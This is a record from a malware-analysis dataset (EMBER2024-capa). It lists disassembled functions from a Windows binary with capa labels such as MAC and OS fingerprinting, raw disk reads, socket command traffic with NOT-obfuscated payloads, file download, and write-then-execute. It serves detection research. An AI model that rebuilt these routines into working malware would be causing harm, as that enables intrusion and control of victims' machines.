joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401273
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.0040956c
pop ecx
lea ecx, [ebp - 0x34]
push ecx
mov dword [ebp - 0x34], esi
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
push eax
mov dword [ebp - 0x28], eax
call esi
cmp eax, 0x6f
jne 0x4012e7
push dword [ebp - 0x28]
call fcn.00409600
push dword [ebp - 0x34]
call fcn.0040956c
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call esi
test eax, eax
jne 0x40139d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x40139d
jmp 0x40130b
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x40131e
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x40138c
lea eax, [esi + 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40132e
sub eax, ecx
cmp eax, 0x10
jle 0x40133f
push 0x10
pop eax
xor ecx, ecx
test eax, eax
js 0x401360
cmp ecx, eax
jne 0x401350
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [esi + ecx + 4]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x401347
lea eax, [ebp - 0x24]
push eax
call fcn.0040146a
pop ecx
test eax, eax
je 0x401382
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00409022
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x401328
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x40139d
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x401308
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x4013b4
push dword [ebp - 0x28]
call fcn.00409600
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00409013
leave
ret

Function at 0x4015eb
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00410730
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x401676
cmp dword [ebp - 0x11c], 5
mov eax, dword [ebp - 0x118]
jne 0x40165d
test eax, eax
jne 0x40164c
cmp word [ebp - 0xc], 4
jb 0x401676
inc esi
cmp eax, 2
jne 0x401653
push eax
pop esi
jae 0x40165a
cmp eax, 1
jne 0x401676
push 3
pop esi
cmp dword [ebp - 0x11c], 6
jne 0x401676
test eax, eax
jne 0x40166e
push 4
jmp 0x401675
cmp eax, 1
jne 0x401676
push 5
pop esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00409013
leave
ret
Function at 0x401685
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push connect
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x4016b4
mov edx, esi
jmp 0x4016d3
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x4016ca
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4017a4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00410730
add esp, 0xc
cmp dword [0x41ff30], 3
lea eax, [ebp - 0x20c]
jne 0x40180a
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41b29c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00409aa9
add esp, 0xc
pop esi
jmp 0x401816
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x41b2a0
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00409013
leave
ret

Function at 0x4018ae
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x4018f6
xor eax, eax
shld eax, ecx, 9
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0xc]
shl ecx, 9
push dword [ebp + 8]
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x401a7a
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x401b23
mov ebx, 0xc00
push ebx
call fcn.00409135
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x401b14
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
mov ecx, dword [eax]
cmp edx, dword [ebp - 0x14]
jl 0x401af6
jg 0x401aea
cmp ecx, dword [ebp - 0x18]
jbe 0x401af6
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x90
dec ebx
jne 0x401ad9
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.00414310
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x401b23
push dword [ebp - 4]
call fcn.00409a3f
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401c14
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00410730
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.0040198d
push dword [ebp - 0x214]
call fcn.004018fb
add esp, 0xc
cmp eax, 0xffffffff
jne 0x401c8c
xor eax, eax
jmp 0x401c93
push esi
call fcn.00401b4c
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409013
leave
ret

Function at 0x402c25
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x402db7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1070
call fcn.00412560
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x41b310
push eax
lea eax, [ebp - 0x1064]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x106c], esi
mov dword [ebp - 0x1064], edi
mov dword [ebp - 0x1068], edi
call fcn.00409273
add esp, 0xc
cmp dword [ebp - 0x1064], edi
jne 0x402e16
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x402edc
push ebx
push 2
push edi
push dword [ebp - 0x1064]
call fcn.00409f9b
push dword [ebp - 0x1064]
call fcn.0040a1ab
push edi
push edi
push dword [ebp - 0x1064]
mov dword [ebp - 0x1070], eax
call fcn.00409f9b
lea eax, [ebp - 0x1060]
call fcn.00402c25
push dword [ebp - 0x1064]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.0040a45a
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x402ea7
push ebx
lea edi, [ebp - 0x1060]
lea ecx, [ebp - 0x1004]
call fcn.00402c50
push dword [ebp - 0x1064]
add dword [ebp - 0x1068], ebx
push esi
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.0040a45a
mov ebx, eax
add esp, 0x14
test ebx, ebx
jne 0x402e71
mov edi, dword [ebp - 0x106c]
push edi
lea esi, [ebp - 0x1060]
call fcn.00402ce6
push dword [ebp - 0x1064]
call fcn.004094f8
mov eax, dword [ebp - 0x1068]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x1070]
jb 0x402e08
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00409013
leave
ret
Function at 0x402eea
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b8
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x9b0], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push eax
mov esi, ecx
call fcn.00410730
add esp, 0xc
lea edi, [ebp - 0x808]
test esi, esi
je 0x402f34
mov edi, esi
xor eax, eax
and dword [ebp - 0x9b4], eax
and dword [ebp - 0x9ac], eax
mov word [edi], ax
lea eax, [ebp - 0x9a8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x402f8e
push 0x41b318
mov esi, 0x3ff
push esi
push edi
call fcn.00409022
push 0x41b338
push esi
push edi
call fcn.00409aa9
push 0x41b33c
push esi
push edi
call fcn.00409aa9
add esp, 0x24
xor eax, eax
jmp 0x40301c
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x402f5b
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40302a
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b4], eax
push 4
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x40302a
push 0x41b318
mov esi, 0x3ff
push esi
push edi
call fcn.00409022
push 0x41b338
push esi
push edi
call fcn.00409aa9
push 0x41b33c
push esi
push edi
call fcn.00409aa9
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x403016
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00409013
leave
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x814], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x816], ax
push 0x10
lea eax, [ebp - 0x818]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x403070
push 0x41b37c
jmp 0x402fdf
mov dword [ebp - 0x9ac], esi
jmp 0x403016
Function at 0x403093
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x40310f
push esi
mov esi, dword [ebp + 0x10]
push edi
cmp esi, ecx
jle 0x4030b9
mov eax, dword [ebp + 0xc]
not byte [eax + ecx]
inc ecx
cmp ecx, esi
jl 0x4030ae
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00409135
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x41ffb0
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040cc00
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403112
cmp eax, dword [ebp - 4]
jne 0x403112
mov dword [ebp - 8], 1
jmp 0x403112
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x40311d
push ebx
call fcn.00409a3f
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x40326f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8e4
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x8d8], eax
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x8e4], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x8cc], ax
lea eax, [ebp - 0x8ca]
mov esi, ecx
push eax
mov dword [ebp - 0x8e0], esi
mov ebx, edx
call fcn.00410730
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x8cc]
mov dword [ebp - 0x8d4], edi
cmp ebx, eax
je 0x4032d9
mov dword [ebp - 0x8d4], ebx
mov edi, ebx
xor ecx, ecx
mov word [edi], cx
mov esi, dword [esi]
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8dc], eax
cmp esi, eax
je 0x40344b
cmp dword [ebp - 0x8d8], eax
je 0x40344b
push 0xc7
push eax
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push eax
call fcn.00410730
add esp, 0xc
xor ebx, ebx
push ebx
push 2
lea eax, [ebp - 0xcc]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403423
cmp eax, ebx
je 0x403423
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
call fcn.00409135
pop ecx
mov dword [ebp - 0x8d0], eax
test edi, edi
jle 0x403436
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x8d0]
add eax, ebx
push eax
mov eax, dword [ebp - 0x8e0]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4033bb
test eax, eax
je 0x4033bb
add ebx, eax
cmp edi, ebx
jg 0x403360
push 5
pop ecx
cmp ebx, ecx
jl 0x403436
mov edx, dword [ebp - 0x8d0]
sub ebx, ecx
mov edi, edx
mov esi, 0x41ffb0
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x4033db
push 0x41b3a0
push 0x3ff
push dword [ebp - 0x8d4]
jmp 0x40342e
push 0x41b3a0
push 0x3ff
push dword [ebp - 0x8d4]
call fcn.00409022
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403436
test ebx, ebx
jle 0x4033ea
lea eax, [edx + 5]
mov ecx, ebx
not byte [eax]
inc eax
dec ecx
jne 0x4033e4
mov esi, dword [ebp - 0x8e4]
mov eax, dword [esi]
add edx, 5
cmp eax, ebx
jl 0x40340a
push ebx
push edx
push dword [ebp - 0x8d8]
call fcn.0040cc00
mov dword [esi], ebx
jmp 0x403417
push eax
push edx
push dword [ebp - 0x8d8]
call fcn.0040cc00
mov dword [ebp - 0x8dc], 1
jmp 0x403433
push 0x41b3a0
push 0x3ff
push edi
call fcn.00409022
add esp, 0xc
cmp dword [ebp - 0x8d0], 0
je 0x40344b
push dword [ebp - 0x8d0]
call fcn.00409a3f
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x8dc]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409013
leave
ret
Function at 0x40365f
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00412560
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x100c], eax
push 4
lea eax, [ebp - 0x1008]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x4036a0
xor eax, eax
jmp 0x403709
cmp dword [ebp - 0x1008], ebx
jbe 0x4036f2
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x1010], eax
test eax, eax
je 0x4036f2
mov ecx, dword [ebp - 0x100c]
push dword [ecx]
push eax
lea eax, [ebp - 0x1004]
push 1
push eax
call fcn.00409411
add ebx, dword [ebp - 0x1010]
add esp, 0x10
mov dword [0x421640], ebx
cmp ebx, dword [ebp - 0x1008]
jb 0x4036a8
mov eax, dword [ebp - 0x100c]
push dword [eax]
call fcn.004094f8
cmp ebx, dword [ebp - 0x1008]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00409013
leave
ret

Function at 0x403beb
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
xor esi, esi
call fcn.00410730
add esp, 0xc
test edi, edi
je 0x403c95
and dword [ebp - 0x210], esi
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41b3fc
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00409aa9
push 0x41b26c
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00409273
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x403c95
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.00409411
push dword [ebp - 0x210]
call fcn.004094f8
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00409013
leave
ret
Function at 0x403ca4
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
xor ebx, ebx
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00410730
add esp, 0xc
mov dword [ebp - 0x210], ebx
cmp edi, ebx
je 0x403d7b
cmp dword [0x41ff30], 3
push esi
mov esi, 0x104
lea eax, [ebp - 0x20c]
jne 0x403d1a
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41b29c
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00409aa9
add esp, 0xc
jmp 0x403d22
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41b418
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00409aa9
push 0x41b310
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00409273
add esp, 0x18
pop esi
cmp dword [ebp - 0x210], ebx
je 0x403d7b
push dword [ebp - 0x210]
xor ebx, ebx
inc ebx
push ebx
push 0x200
push edi
call fcn.0040a45a
push dword [ebp - 0x210]
call fcn.004094f8
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00409013
leave
ret

Function at 0x403d8a
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
xor ebx, ebx
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call fcn.00410730
add esp, 0xc
mov dword [ebp - 0x210], ebx
cmp edi, ebx
je 0x403e33
push esi
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41b3fc
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00409aa9
push 0x41b310
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00409273
add esp, 0x18
pop esi
cmp dword [ebp - 0x210], ebx
je 0x403e33
push dword [ebp - 0x210]
inc ebx
push ebx
push 0x200
push edi
call fcn.0040a45a
push dword [ebp - 0x210]
call fcn.004094f8
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00409013
leave
ret

Function at 0x403f39
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f5a
push dword [ebp + 8]
call fcn.00403fa5
pop ecx
test eax, eax
je 0x403fa0
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f9f
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x403f98
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x403fa5
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x403fba
xor eax, eax
pop ebp
ret
test al, 1
je 0x403fc1
xor eax, 1
test al, 4
je 0x403fc8
xor eax, 4
test al, 2
je 0x403fcf
xor eax, 2
test al, 0x20
je 0x403fd6
xor eax, 0x20
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x403ff7
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov eax, dword [0x41f044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x41b440
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.0040a9cb
add esp, 0xc
push esi
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push esi
push eax
call fcn.00409a4a
lea eax, [ebp - 0x310]
push 0x5c
push eax
call fcn.0040a980
add esp, 0x14
cmp eax, ebx
je 0x404076
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x314], eax
cmp eax, 0xffffffff
je 0x404169
mov eax, 0x4204c0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4040a9
sub eax, edx
lea ecx, [ebp - 0x20c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x4040be
lea eax, [ebp - 0x108]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4040d0
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00409135
push esi
mov edi, eax
push ebx
push edi
call fcn.00410730
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x20c]
push eax
push eax
push 0x4204c0
push esi
push edi
call fcn.0040a9ad
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40411c
push ebx
lea ecx, [ebp - 0x318]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x41b44c
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x404168
push edi
call fcn.00409a3f
pop ecx
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00409013
leave
ret